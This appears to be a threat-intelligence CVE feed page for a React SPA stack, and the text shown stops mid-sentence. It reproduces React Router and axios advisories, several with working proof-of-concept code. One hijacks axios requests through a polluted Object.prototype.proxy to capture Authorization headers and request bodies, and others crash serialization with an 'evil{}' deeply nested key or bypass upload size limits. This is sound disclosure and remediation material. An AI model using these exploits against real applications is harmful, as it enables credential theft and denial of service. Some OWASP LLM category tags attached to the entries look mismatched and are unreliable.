Threat Intelligence

Live CVE feed

521 threats tracked across 12 launch stacks — sourced from NVD, GHSA, CISA KEV, OSV, npm Audit, and EPSS.

32threats · React SPA · High· page 1/2
Get guardrails →

React Router: Unauthenticated Denial of Service via Inefficient Route Matching

This is a follow up to https://github.com/remix-run/react-router/security/advisories/GHSA-8x6r-g9mw-2r78 that covers additional reported scenarios in which the manifest endpoint could be accessed via unauthenticated targeted requests that would put heavy load on the server and slow down response times. > [!NOTE] > This only impacts Framework Mode applications. This does not impact your application if you are using Declarative or Data Mode.

OWASP A06LLM04 · Model DoSOWASP Web
Get guardrail →

Axios Node HTTP adapter can use an inherited proxy after interceptor config cloning

Summary Axios’ Node.js HTTP adapter can route requests through an attacker-controlled proxy when Object.prototype.proxy is polluted and request configuration is materialized as a regular object before dispatch. Recent axios releases harden merged request config by creating a null-prototype object. However, request interceptors run after that merge and may return a replacement config. A common immutable interceptor pattern such as {...config} or Object.assign({}, config) converts the hardened config back into a normal object. Axios then dispatches that object without re-hardening it, and the Node HTTP adapter reads config.proxy through the prototype chain. Impact In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can route affected HTTP requests through an attacker-controlled proxy. The highest confirmed impact is for plaintext HTTP requests. The proxy can observe explicit Authorization headers, axios-generated Basic auth from config.auth, request method, absolute URL, Host, and request body content. The proxy can also return its own response to axios for the affected request. This does not establish browser impact. It also does not establish HTTPS header or body disclosure under normal TLS validation. Affected Functionality Affected functionality is limited to axios requests that use the Node.js HTTP adapter, including default Node usage when the HTTP adapter is selected and explicit adapter: 'http' usage. The relevant configuration path is config.proxy in the Node HTTP adapter. The hardened-bypass path requires a request interceptor such as: ``js api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); ` Unaffected or mitigating conditions include browser adapters, the Node fetch adapter, no polluted Object.prototype.proxy, an own proxy: false or safe own proxy value on the config, and hardened releases where interceptors return the original null-prototype config instead of a regular object clone. Technical Details lib/core/mergeConfig.js creates a null-prototype merged config and uses own-property reads for merged values. This is intended to prevent polluted Object.prototype values from affecting config behavior. lib/core/Axios.js runs request interceptors after the merge. In both the asynchronous and synchronous interceptor paths, axios passes the interceptor-returned config into dispatch. lib/core/dispatchRequest.js accepts that returned config, transforms request data, selects the adapter, and calls the adapter without re-hardening or re-normalizing the config. lib/adapters/http.js uses own-property reads for several sensitive fields, but the initial proxy dispatch path still passes config.proxy directly into setProxy(). If an interceptor returned a regular object, config.proxy can resolve to inherited Object.prototype.proxy. Proof of Concept of Attack `js import axios from './index.js'; import http from 'node:http'; for (const key of [ 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY', 'http_proxy', 'https_proxy', 'all_proxy', 'NO_PROXY', 'no_proxy' ]) { delete process.env[key]; } const listen = (handler) => new Promise((resolve, reject) => { const server = http.createServer(handler); server.once('error', reject); server.listen(0, '127.0.0.1', () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const targetHits = []; const proxyHits = []; const target = await listen((req, res) => { targetHits.push(req.url); res.end('target'); }); const proxy = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { proxyHits.push({ url: req.url, authorization: req.headers.authorization, host: req.headers.host, body }); res.setHeader('content-type', 'application/json'); res.end('{"server":"proxy"}'); }); }); Object.prototype.proxy = { protocol: 'http', host: '127.0.0.1', port: proxy.address().port }; const api = axios.create(); api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); try { const url = http://127.0.0.1:${target.address().port}/api/secret; const res = await api.post( url, {secret: 'request-body-secret'}, {headers: {Authorization: 'Bearer EXPLICIT_SECRET'}} ); console.log({ response: res.data, targetHits, proxyHits, finalConfigHasOwnProxy: Object.hasOwn(res.config, 'proxy') }); } finally { delete Object.prototype.proxy; await close(target); await close(proxy); } ` Expected vulnerable result: the response comes from the proxy, targetHits is empty, and proxyHits contains the absolute URL, authorization header, host header, and request body. Workarounds Set an own proxy: false on affected requests or on an axios instance when proxy support is not required. Avoid request interceptors that return regular object clones of config in hardened releases. Returning the original config or cloning into a null-prototype object avoids this specific bypass, but this is fragile and should not replace a fix. Use the Node fetch adapter for affected requests where its behavior is compatible with the application. <details> <summary>Original Report</summary> Summary Axios hardens merged request config by creating a null-prototype object, preventing polluted Object.prototype properties from influencing request behavior. Request interceptors run after that hardening, and a normal immutable interceptor pattern such as {...config} or Object.assign({}, config) re-materializes the config as a regular object. Axios then dispatches that interceptor-returned object without re-hardening it. In the Node HTTP adapter, config.proxy is read through the prototype chain, allowing a polluted Object.prototype.proxy to route authenticated HTTP requests through an attacker-controlled proxy. ## Impact In a Node.js deployment using the HTTP adapter, an attacker who can trigger prototype pollution elsewhere in the process can cause affected axios requests to be sent through an attacker-controlled proxy when the application uses a request interceptor that returns a plain object copy of the config. Verified local impact: Authenticated request redirection to attacker-controlled proxy. Disclosure of explicit Authorization headers. Disclosure of axios-generated Basic auth headers from config.auth. Disclosure of request metadata: method, absolute URL, Host header. Disclosure of POST body content. This report does not claim browser impact or proven HTTPS credential disclosure. The demonstrated credential and body disclosure is for Node HTTP-adapter requests over HTTP/plaintext. ## Affected component The affected component is the Node.js HTTP adapter request path after request interceptors have run. The issue requires: Node.js HTTP adapter usage. A polluted Object.prototype.proxy. A request interceptor that returns a plain object copy of the config. No own proxy: false or safe own proxy property on the request config. ## Affected versions Confirmed affected for this specific hardening-bypass variant: axios@1.15.2 axios@1.16.0 axios@1.16.0 was the latest published version observed via npm view axios version during validation. Related older behavior observed during testing: 1.13.0, 1.13.6, 1.14.0, 1.15.0, and 1.15.1 routed via inherited Object.prototype.proxy even without the interceptor re-materialization step. That is related background, not the narrowed hardening-bypass variant described here. ## Root cause 1. Initial hardening Axios initially hardens merged request config by creating a null-prototype object in mergeConfig(), which is meant to prevent inherited Object.prototype properties from influencing request behavior. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25 2. Interceptor re-materialization Request interceptors run after that hardening step, and axios allows an interceptor to return a replacement config object. A common immutable pattern such as {...config} or Object.assign({}, config) converts the hardened null- prototype config back into a normal object with Object.prototype as its prototype. Permalinks: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199, https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218 3. No post-interceptor re-hardening Axios passes the interceptor-returned config into request dispatch without restoring the null-prototype property or otherwise normalizing the object into an own-property-only structure. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48 4. Prototype-chain read of proxy in the Node adapter The Node HTTP adapter later consults config.proxy, and this read is reachable through the prototype chain once the interceptor has re-materialized the config as a normal object. As a result, a polluted Object.prototype.proxy can redirect the outgoing authenticated request through an attacker-controlled proxy. Permalink: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820 ## Why this is a security issue and not intended behavior Axios’ threat model explicitly treats polluted Object.prototype config reads as high-impact read-side gadgets and states that axios defends reachable config-read gadgets through own-property checks and null-prototype structures. The existing regression tests also assert that a polluted Object.prototype.proxy must not route requests through an attacker proxy. This behavior is therefore a bypass of axios’ existing prototype-pollution hardening, not merely a generic “polluted process” complaint. The interceptor does not need to be malicious; it can be ordinary application code that returns an immutable copy of the config. The attacker-controlled piece is the polluted prototype property supplied by a separate vulnerability or dependency. ## Realistic threat model A realistic exploit chain is: 1. A transitive dependency or upstream parser bug allows prototype pollution in a Node.js process. 2. The polluted property is Object.prototype.proxy, with host and port pointing to an attacker-controlled proxy. 3. The application uses axios with a request interceptor that returns a plain object copy, such as adding headers immutably. 4. The application sends an HTTP request with credentials or sensitive body data. 5. Axios routes that request through the inherited proxy configuration. This requires a prototype pollution primitive and a compatible interceptor pattern. It does not require the attacker to control the interceptor. ## Proof of concept Save as poc.mjs in the axios repository root: `js import axios from './index.js'; import http from 'node:http'; const proxyEnvKeys = [ 'HTTP_PROXY', 'HTTPS_PROXY', 'ALL_PROXY', 'http_proxy', 'https_proxy', 'all_proxy', 'NO_PROXY', 'no_proxy' ]; for (const key of proxyEnvKeys) delete process.env[key]; const listen = (handler) => new Promise((resolve, reject) => { const server = http.createServer(handler); server.once('error', reject); server.listen(0, '127.0.0.1', () => resolve(server)); }); const close = (server) => new Promise((resolve) => server.close(resolve)); const targetHits = []; const proxyHits = []; const target = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { targetHits.push({ url: req.url, method: req.method, authorization: req.headers.authorization || null, body }); res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({server: 'target'})); }); }); const proxy = await listen((req, res) => { let body = ''; req.on('data', (chunk) => body += chunk); req.on('end', () => { proxyHits.push({ url: req.url, method: req.method, authorization: req.headers.authorization || null, host: req.headers.host || null, body }); res.writeHead(200, {'Content-Type': 'application/json'}); res.end(JSON.stringify({server: 'proxy'})); }); }); Object.prototype.proxy = { protocol: 'http', host: '127.0.0.1', port: proxy.address().port }; const api = axios.create(); api.interceptors.request.use((config) => ({ ...config, headers: { ...config.headers, 'X-App': 'demo' } })); try { const url = http://127.0.0.1:${target.address().port}/api/secret; const explicit = await api.get(url, { headers: {Authorization: 'Bearer EXPLICIT_SECRET'} }); proxyHits.length = 0; targetHits.length = 0; const basic = await api.get(url, { auth: {username: 'svc-account', password: 'prod-secret'} }); proxyHits.length = 0; targetHits.length = 0; const post = await api.post(url, {secret: 'request-body-secret'}, { headers: {Authorization: 'Bearer EXPLICIT_SECRET'} }); console.log(JSON.stringify({ explicitResponse: explicit.data, basicResponse: basic.data, postResponse: post.data, targetHits, proxyHits, finalConfigPrototype: Object.getPrototypeOf(post.config) === Object.prototype ? 'Object.prototype' : 'other', finalConfigHasOwnProxy: Object.prototype.hasOwnProperty.call(post.config, 'proxy') }, null, 2)); } finally { delete Object.prototype.proxy; await close(target); await close(proxy); } ` Run: `bash npm ci node poc.mjs ` ## Observed results Representative observed output from local loopback testing: `text { "explicitResponse": {"server": "proxy"}, "basicResponse": {"server": "proxy"}, "postResponse": {"server": "proxy"}, "targetHits": [], "proxyHits": [ { "url": "http://127.0.0.1:40613/api/secret", "method": "POST", "authorization": "Bearer EXPLICIT_SECRET", "host": "127.0.0.1:40613", "body": "{\"secret\":\"request-body-secret\"}" } ], "finalConfigPrototype": "Object.prototype", "finalConfigHasOwnProxy": false } Additional validation showed axios-generated Basic auth is also disclosed to the proxy: { "authorization": "Basic c3ZjLWFjY291bnQ6cHJvZC1zZWNyZXQ=" } `` That value decodes to: svc-account:prod-secret Negative controls were also tested: No interceptor: target receives request, proxy receives none. Interceptor mutating and returning the same config object: proxy receives none. Own proxy: false: proxy receives none. Null-prototype clone interceptor: proxy receives none. Fetch adapter in Node with the same interceptor: proxy receives none. ## Suggested remediation Re-harden the final request config after all request interceptors and before adapter dispatch. This should cover both asynchronous and synchronous interceptor paths. A practical fix would be to normalize the interceptor-returned object into a null-prototype, own-property-only config before calling dispatchRequest(), or at the start of dispatchRequest() itself. Security-sensitive adapter reads should also consistently use own-property access helpers. In particular, the Node HTTP adapter should not read config.proxy through the prototype chain. ## Minimal regression test Add an end-to-end Node HTTP adapter test that: 1. Starts a target server and attacker proxy on 127.0.0.1. 2. Sets Object.prototype.proxy to the attacker proxy. 3. Adds a request interceptor returning {...config, headers: {...config.headers}}. 4. Sends a request with an Authorization header. 5. Asserts the target server receives the request. 6. Asserts the attacker proxy receives no request. 7. Asserts the final config no longer exposes inherited proxy. A second assertion can cover config.auth to ensure axios-generated Basic auth is not sent to the attacker proxy. ## References / permalinks mergeConfig() null-prototype hardening: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/mergeConfig.js#L21-L25 Async interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L187-L199 Synchronous interceptor dispatch path: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/Axios.js#L204-L218 dispatchRequest() receives interceptor-returned config: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/core/dispatchRequest.js#L34-L48 Node HTTP adapter config.proxy read: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/lib/adapters/http.js#L816-L820 Axios threat model for prototype-pollution read-side gadgets: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/THREATMODEL.md#L136-L144 Existing proxy pollution regression test intent: https://github.com/axios/axios/blob/df53d7dd99b202fb194217abd127ae6a630e70dc/tests/unit/prototypePollution.test.js#L1098-L1135 </details>

OWASP A03LLM01 · Prompt InjectionLLM02 · Insecure OutputOWASP Web
Get guardrail →

Axios form serializer maxDepth bypass via {} metatoken

Summary Axios versions in the fixed lines for GHSA-62hf-57xw-28j9 still contain an incomplete depth-limit bypass in lib/helpers/toFormData.js. When serializing an object with a top-level key ending in {}, axios calls JSON.stringify() on that value before the formSerializer.maxDepth guard can inspect the nested structure. An attacker who can control object keys and nested values passed by an application into axios form or parameter serialization can trigger a raw RangeError: Maximum call stack size exceeded, causing a denial of service in the affected request path. Impact The impact is availability only. No confidentiality or integrity impact was confirmed. Server-side applications are the primary concern when they accept user-controlled input and pass it into axios as data or params for multipart/form-data, application/x-www-form-urlencoded, or default parameter serialization. Browser impact is limited to the page or request context unless the application builds a broader failure mode around the thrown exception. The attack requires control over a top-level object key ending in {} and a deeply nested object value. The option formSerializer.metaTokens: false is not a workaround because it only changes the emitted key name; the value is still stringified. Affected Functionality Affected paths include: lib/helpers/toFormData.js when a top-level key ends with {}. lib/helpers/toURLEncodedForm.js, which delegates to helpers.defaultVisitor. lib/helpers/AxiosURLSearchParams.js, used by default params serialization. Request transforms in lib/defaults/index.js when object data is serialized as multipart/form-data or application/x-www-form-urlencoded. Unaffected paths include: Already-created FormData or URLSearchParams values that axios does not walk with toFormData. Custom paramsSerializer.serialize implementations that do not call axios toFormData. Non-{} deeply nested values in toFormData, which hit ERR_FORM_DATA_DEPTH_EXCEEDED as intended. Technical Details In lib/helpers/toFormData.js, defaultVisitor() handles top-level keys ending in {} before recursive traversal: ``js if (value && !path && typeof value === 'object') { if (utils.endsWith(key, '{}')) { key = metaTokens ? key : key.slice(0, -2); value = JSON.stringify(value); } } ` The depth guard is in build(): `js if (depth > maxDepth) { throw new AxiosError( 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth, AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED ); } ` For {} metatoken values, build() only sees the top-level property. The nested value is handed directly to native JSON.stringify(), which recurses internally and can throw RangeError before axios emits the intended AxiosError. Proof of Concept of Attack Safe local PoC with no network I/O: `js import toFormData from './lib/helpers/toFormData.js'; function buildDeep(depth) { const head = {}; let cur = head; for (let i = 0; i < depth; i += 1) { cur.x = {}; cur = cur.x; } return head; } try { toFormData({ 'evil{}': buildDeep(10000) }); } catch (err) { console.log(err.name, err.code || '', err.message); } // Expected affected result: // RangeError Maximum call stack size exceeded ` Expected fixed behavior is an AxiosError with code ERR_FORM_DATA_DEPTH_EXCEEDED. Workarounds Reject or depth-limit untrusted objects before passing them to axios serialization. Strip or reject top-level keys ending in {} from untrusted objects when using axios form serialization. For query parameters, use a custom paramsSerializer.serialize that enforces a depth limit. For form bodies, construct FormData or URLSearchParams manually after validating input depth. <details> <summary>Original Report</summary> Summary The maxDepth=100 guard added in axios 1.15.0 to fix GHSA-62hf-57xw-28j9 lives inside the build() recursion in lib/helpers/toFormData.js. The default visitor at lib/helpers/toFormData.js:166-170 still has a top-level shortcut that calls JSON.stringify(value) whenever a key ends in '{}', before build() ever sees the nested value. JSON.stringify on a deeply nested object stack-overflows with RangeError: Maximum call stack size exceeded, which propagates synchronously out of the axios call. The exact attacker-data flow that the original advisory described (proxy-style code that forwards client JSON into axios({ data, params })) still crashes the process at depth ~3000 on a default Node.js stack, despite v1.16.0 being patched. Details Affected: axios 1.15.0 - 1.16.0 (every released version that carries the GHSA-62hf-57xw-28j9 fix). The bug is reachable from any code path that hits toFormData, which includes: axios.post(url, data, { headers: { 'content-type': 'application/x-www-form-urlencoded' } }) -> defaults.transformRequest -> toURLEncodedForm(data) -> toFormData axios.post(url, data, { headers: { 'content-type': 'multipart/form-data' } }) -> same path via toFormData axios.get(url, { params }) -> buildURL -> new AxiosURLSearchParams(params) -> toFormData Vulnerable code, lib/helpers/toFormData.js: `javascript // 156 function defaultVisitor(value, key, path) { // 165 if (value && !path && typeof value === 'object') { // 166 if (utils.endsWith(key, '{}')) { // 167 // eslint-disable-next-line no-param-reassign // 168 key = metaTokens ? key : key.slice(0, -2); // 169 // eslint-disable-next-line no-param-reassign // 170 value = JSON.stringify(value); // <-- V8 native, NOT depth-checked // 171 } else if (... ` build() later does enforce maxDepth: `javascript // 211 function build(value, path, depth = 0) { // 212 if (utils.isUndefined(value)) return; // 213 // 214 if (depth > maxDepth) { // 215 throw new AxiosError( // 216 'Object is too deeply nested (' + depth + ' levels). Max depth: ' + maxDepth, // 217 AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED // 218 ); ` The '{}' shortcut runs in defaultVisitor, which is invoked from inside build() for top-level keys (the !path clause at line 165 means the shortcut only triggers at top level, where path is undefined). At that point depth === 0 and the maxDepth check has already passed; the recursion-aware guard never sees the nested value because defaultVisitor reassigns value = JSON.stringify(value) and returns the rendered string straight to formData.append. JSON.stringify itself is recursive in V8 and stack-overflows on deeply nested objects, throwing RangeError synchronously. The behaviour is independent of the metaTokens option: line 168 only changes whether '{}' stays on the key name, line 170 stringifies regardless. toURLEncodedForm's wrapper visitor in lib/helpers/toURLEncodedForm.js:11-14 falls through to the same defaultVisitor, so the form-encoded path is also affected. The attacker payload is a single top-level key ending in '{}' whose value is a nested object. The keys themselves do not have to be deep, so the payload is small to send (a few KB of {"x":{"x":...}} produces enough nesting to overflow). The original advisory's threat model -- a server that forwards req.body or req.query into axios -- is unchanged: `javascript app.post('/forward', async (req, res) => { await axios.post('https://upstream/api', req.body); // req.body attacker-controlled res.send('ok'); }); // attacker POST /forward with content-type: application/x-www-form-urlencoded // body: {"evil{}": <8000-deep object>} // -> JSON.stringify recurses inside defaultVisitor -> RangeError -> handler crashes ` The error is not an AxiosError; it is a raw RangeError thrown from the stringifier, so handlers that look for err.code === 'ERR_FORM_DATA_DEPTH_EXCEEDED' (the documented signal that the maxDepth guard fired) do not see it. Synchronous startup paths or worker threads still take the whole process down. The fix is to also depth-limit (or pre-walk) the value before calling JSON.stringify on line 170, or to remove the top-level '{}' shortcut and rely on the depth-checked build() recursion to handle it. A minimal patch that preserves observable behaviour for legal payloads: `diff if (utils.endsWith(key, '{}')) { // eslint-disable-next-line no-param-reassign key = metaTokens ? key : key.slice(0, -2); // Reject objects that would exceed maxDepth before handing to JSON.stringify, // which is recursive in V8 and stack-overflows on deeply nested input. (function checkDepth(v, d) { if (d > maxDepth) { throw new AxiosError( 'Object is too deeply nested (' + d + ' levels). Max depth: ' + maxDepth, AxiosError.ERR_FORM_DATA_DEPTH_EXCEEDED ); } if (v && typeof v === 'object') { for (const k in v) checkDepth(v[k], d + 1); } })(value, 0); // eslint-disable-next-line no-param-reassign value = JSON.stringify(value); } ` (The recursion in checkDepth itself is bounded by maxDepth, so it cannot itself overflow.) PoC Reproduces against a clean clone of axios/axios at v1.16.0 with npm install already run. targets/axios/poc_jsonstringify_dos.mjs is the script: `javascript import axios from './source/index.js'; function buildDeep(depth) { let head = {}; let cur = head; for (let i = 0; i < depth; i++) { cur.x = {}; cur = cur.x; } return head; } const malicious = buildDeep(5000); const safeAdapter = () => Promise.resolve({ data: 'never reached', status: 200, statusText: 'OK', headers: {}, config: {} }); // 1. POST x-www-form-urlencoded try { await axios.post('http://example.test/x', { 'evil{}': malicious }, { headers: { 'content-type': 'application/x-www-form-urlencoded' }, adapter: safeAdapter }); } catch (e) { console.log('POST form-encoded:', e.name, '-', e.message); } // 2. GET with params try { await axios.get('http://example.test/x', { params: { 'evil{}': malicious }, adapter: safeAdapter }); } catch (e) { console.log('GET params:', e.name, '-', e.message); } ` 3/3 runs reproduce the same RangeError on axios@1.16.0 with Node.js 24: ` $ node poc_jsonstringify_dos.mjs POST form-encoded: RangeError - Maximum call stack size exceeded GET params: RangeError - Maximum call stack size exceeded ` safeAdapter is a stub that returns a fake response, so the crash is provably inside axios's serialization layer, not in HTTP I/O. Removing the '{}' suffix from the key and re-running gives the expected AxiosError: Object is too deeply nested ... ERR_FORM_DATA_DEPTH_EXCEEDED from the maxDepth guard, confirming the fix is wired correctly elsewhere -- it just does not cover this branch. Crash threshold on a default-stack Node.js process is roughly depth 2500-3000; 8000 is comfortably above that, and the payload is a few KB. Impact A remote, unauthenticated attacker who can influence an object that the application passes to axios as request data or params triggers an uncaught RangeError from inside the synchronous JSON.stringify call in defaultVisitor. In server-side applications that proxy or re-forward client JSON through axios -- the same threat model that motivated GHSA-62hf-57xw-28j9 -- this crashes the request handler and, in worker/cluster setups, the whole process. The previously shipped maxDepth guard does not stop it because the '{}' suffix path bypasses build() entirely. Same severity class as the original advisory (CWE-674 Uncontrolled Recursion, network-reachable DoS); the only difference is the attacker has to suffix one of their object keys with '{}'` to land on the unguarded code path. </details> ---

Axios: Fetch adapter `ReadableStream` uploads bypass `maxBodyLength`

Summary axios’ fetch adapter does not enforce maxBodyLength for live WHATWG ReadableStream request bodies whose size cannot be determined before dispatch. Applications that use adapter: "fetch" and rely on maxBodyLength to cap untrusted upload/proxy streams can send the full stream even when it exceeds the configured limit. This affects fetch-adapter usage in edge runtimes where fetch is selected, and in Node.js or browser environments where the fetch adapter is explicitly selected. The HTTP adapter’s stream upload path is not affected. Impact An attacker who can supply or influence a streamed request body can bypass the caller’s configured upload-size limit. Practical impact is unexpected outbound network egress, request-level resource consumption, and possible exhaustion of upstream API quotas or bandwidth. This does not expose response data, execute code, or modify axios configuration. Exploitability depends on an application passing attacker-controlled, unknown-length stream data to axios and relying on maxBodyLength as the size guard. Affected Functionality Affected: adapter: "fetch" or environments where axios selects the fetch adapter. Request methods with bodies, such as POST, PUT, and PATCH. data as a WHATWG ReadableStream without a reliable Content-Length. Configurations that set maxBodyLength to a finite value. Not affected: Axios versions before the fetch adapter was introduced. The Node HTTP adapter stream enforcement path. Known-length fetch-adapter bodies in 1.16.0+, such as strings, Blob, ArrayBuffer, ArrayBufferView, URLSearchParams, spec-compliant FormData, or requests with a finite Content-Length. Technical Details In lib/adapters/fetch.js, getBodyLength() handles null bodies, Blob, spec-compliant FormData, ArrayBuffer values, URLSearchParams, and strings. It has no branch for ReadableStream, so resolveBodyLength(headers, data) returns undefined when no finite Content-Length header is present. The maxBodyLength check only throws when the resolved outbound length is a finite number greater than the configured limit. For live streams, the check is skipped and the stream is passed to fetch(). When onUploadProgress is enabled, axios wraps the request body with trackStream(), but that wrapper only reports progress. It does not receive maxBodyLength and does not abort once loaded bytes exceed the cap. The expected behavior exists in the HTTP adapter: lib/adapters/http.js enforces maxBodyLength for streamed uploads by counting chunks and rejecting with ERR_BAD_REQUEST. Proof of Concept of Attack Run from the axios repo root on Node 18+ against an affected version: ``js import http from 'node:http'; import axios from './index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 1024 1024; const server = http.createServer((req, res) => { let received = 0; req.on('data', (chunk) => { received += chunk.length; }); req.on('end', () => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ received, limit: LIMIT })); }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const { port } = server.address(); function makeReadableStream(totalBytes) { const chunk = new Uint8Array(64 1024).fill(0x42); let remaining = totalBytes; return new ReadableStream({ pull(controller) { if (remaining <= 0) { controller.close(); return; } const next = remaining >= chunk.length ? chunk : chunk.subarray(0, remaining); remaining -= next.length; controller.enqueue(next); }, }); } try { const response = await axios.post( http://127.0.0.1:${port}/upload, makeReadableStream(PAYLOAD_BYTES), { adapter: 'fetch', maxBodyLength: LIMIT, headers: { 'content-type': 'application/octet-stream' }, } ); console.log(response.data); } finally { server.close(); } ` Expected vulnerable result: the server reports received: 2097152 even though maxBodyLength is 1024. Workarounds Use the HTTP adapter for untrusted stream uploads in Node.js where possible, or wrap/count the stream at the application layer and abort it when it exceeds the intended limit. Do not rely on fetch-adapter maxBodyLength for unknown-length ReadableStream bodies until a fixed axios version is available. <details> <summary>Original Report</summary> Summary axios's fetch adapter (used in browsers, edge runtimes, and Node 18+ when explicitly selected) ignores maxBodyLength for live ReadableStream request bodies whose size cannot be inferred ahead of dispatch. The pre-dispatch check is skipped when the length is unknown, and the in-flight wrapper that runs during transmission only emits progress events — it never enforces a byte cap. Severity: medium. Details In lib/adapters/fetch.js, body-length resolution has no ReadableStream branch: fetch.js Lines 121-155 ` const getBodyLength = async (body) => { if (body == null) { return 0; } if (utils.isBlob(body)) { return body.size; } if (utils.isSpecCompliantForm(body)) { const _request = new Request(platform.origin, { method: 'POST', body, }); return (await _request.arrayBuffer()).byteLength; } if (utils.isArrayBufferView(body) || utils.isArrayBuffer(body)) { return body.byteLength; } if (utils.isURLSearchParams(body)) { body = body + ''; } if (utils.isString(body)) { return (await encodeText(body)).byteLength; } }; const resolveBodyLength = async (headers, body) => { const length = utils.toFiniteNumber(headers.getContentLength()); return length == null ? getBodyLength(body) : length; }; ` For a live ReadableStream, resolveBodyLength returns undefined. The pre-dispatch maxBodyLength check then short-circuits because the value is not finite: fetch.js Lines 214-232 ` // Enforce maxBodyLength against the outbound request body before dispatch. // Mirrors http.js behavior (ERR_BAD_REQUEST / 'Request body larger than // maxBodyLength limit'). Skip when the body length cannot be determined // (e.g. a live ReadableStream supplied by the caller). if (hasMaxBodyLength && method !== 'get' && method !== 'head') { const outboundLength = await resolveBodyLength(headers, data); if ( typeof outboundLength === 'number' && isFinite(outboundLength) && outboundLength > maxBodyLength ) { throw new AxiosError( 'Request body larger than maxBodyLength limit', AxiosError.ERR_BAD_REQUEST, config, request ); } } ` The in-flight stream wrapper that follows is purely for progress reporting; it neither sees maxBodyLength nor aborts the request when bytes exceed any cap: fetch.js Lines 253-261 ` if (_request.body) { const [onProgress, flush] = progressEventDecorator( requestContentLength, progressEventReducer(asyncDecorator(onUploadProgress)) ); data = trackStream(_request.body, DEFAULT_CHUNK_SIZE, onProgress, flush); } ` The body therefore reaches fetch() unbounded, and the entire payload is transmitted regardless of maxBodyLength. PoC ` import http from 'node:http'; import axios from '../../index.js'; const LIMIT = 1024; const PAYLOAD_BYTES = 2 1024 1024; const server = http.createServer((req, res) => { let received = 0; req.on('data', (chunk) => { received += chunk.length; }); req.on('end', () => { res.writeHead(200, { 'content-type': 'application/json' }); res.end(JSON.stringify({ received, limit: LIMIT })); }); req.on('error', () => { / swallow client-side aborts / }); }); await new Promise((resolve) => server.listen(0, '127.0.0.1', resolve)); const port = server.address().port; function makeReadableStream(totalBytes) { const CHUNK = new Uint8Array(64 1024).fill(0x42); let remaining = totalBytes; return new ReadableStream({ pull(controller) { if (remaining <= 0) { controller.close(); return; } const next = remaining >= CHUNK.length ? CHUNK : CHUNK.subarray(0, remaining); remaining -= next.length; controller.enqueue(next); }, }); } try { let result; try { const response = await axios.post( http://127.0.0.1:${port}/upload, makeReadableStream(PAYLOAD_BYTES), { adapter: 'fetch', maxBodyLength: LIMIT, headers: { 'content-type': 'application/octet-stream' }, // No content-length: the stream's total length is unknown ahead of // dispatch, which is exactly the vulnerable code path. } ); result = { status: response.status, data: response.data }; } catch (err) { result = { error: err && (err.code || err.message) }; } console.log('--- PoC: fetch adapter ReadableStream maxBodyLength bypass ---'); console.log('axios result:', JSON.stringify(result)); const ok = result && result.status === 200 && result.data && typeof result.data === 'object' && result.data.received === PAYLOAD_BYTES && result.data.limit === LIMIT; if (ok) { console.log( VULNERABLE: server received ${result.data.received} bytes despite + maxBodyLength=${LIMIT}. ); process.exitCode = 0; } else { console.log('NOT VULNERABLE: axios refused or truncated the oversized ReadableStream.'); process.exitCode = 1; } } finally { server.close(); } `` Impact Uncontrolled egress when proxying user-controlled streams (e.g. file uploads, log forwarding, AI streaming endpoints). Bypass of cost / quota guards on upstream APIs. Resource exhaustion against the runtime's network stack and against upstream peers. </details>

React Router vulnerable to Denial of Service via reflected user input in single-fetch

A DoS vulnerability exists in the React Router v7 Framework Mode, as well as Remix v2.9.0+ with Single Fetch enabled. In some scenarios the underlying serialization algorithm can become a bottleneck when encoding specific types of data into server responses. Please upgrade to React Router v7.14.0 or later. > [!NOTE] > This does not impact your React Router application if you are using Declarative Mode (<BrowserRouter>) or Data Mode (createBrowserRouter/<RouterProvider>).

Allocation of Resources Without Limits or Throttling in Axios

Summary Axios versions 1.7.0 through 1.15.x did not enforce configured request and response size limits when requests were sent with the fetch adapter. Applications that selected adapter: 'fetch', or ran in environments where axios resolved to the fetch adapter, could receive or send bodies larger than maxContentLength or maxBodyLength despite those limits being explicitly configured. This can cause resource exhaustion in server-side usage when a malicious or compromised server returns an oversized response, when an attacker can supply a large data: URL, or when an application forwards attacker-controlled request bodies through axios while relying on maxBodyLength as a boundary. Impact The impact is availability-only. Affected applications may process, buffer, or transmit data beyond the configured limit, potentially exhausting memory, CPU, or network resources. This does not affect axios’s default unlimited behaviour by itself: maxContentLength and maxBodyLength default to -1. The vulnerability exists when an application has configured finite limits and expects axios to enforce them. Server-side runtimes are the primary concern. Browser impact is generally constrained by the browser process and browser fetch behavior, and should not be described as server process exhaustion. Affected Functionality Affected functionality includes requests using the built-in fetch adapter with finite maxContentLength 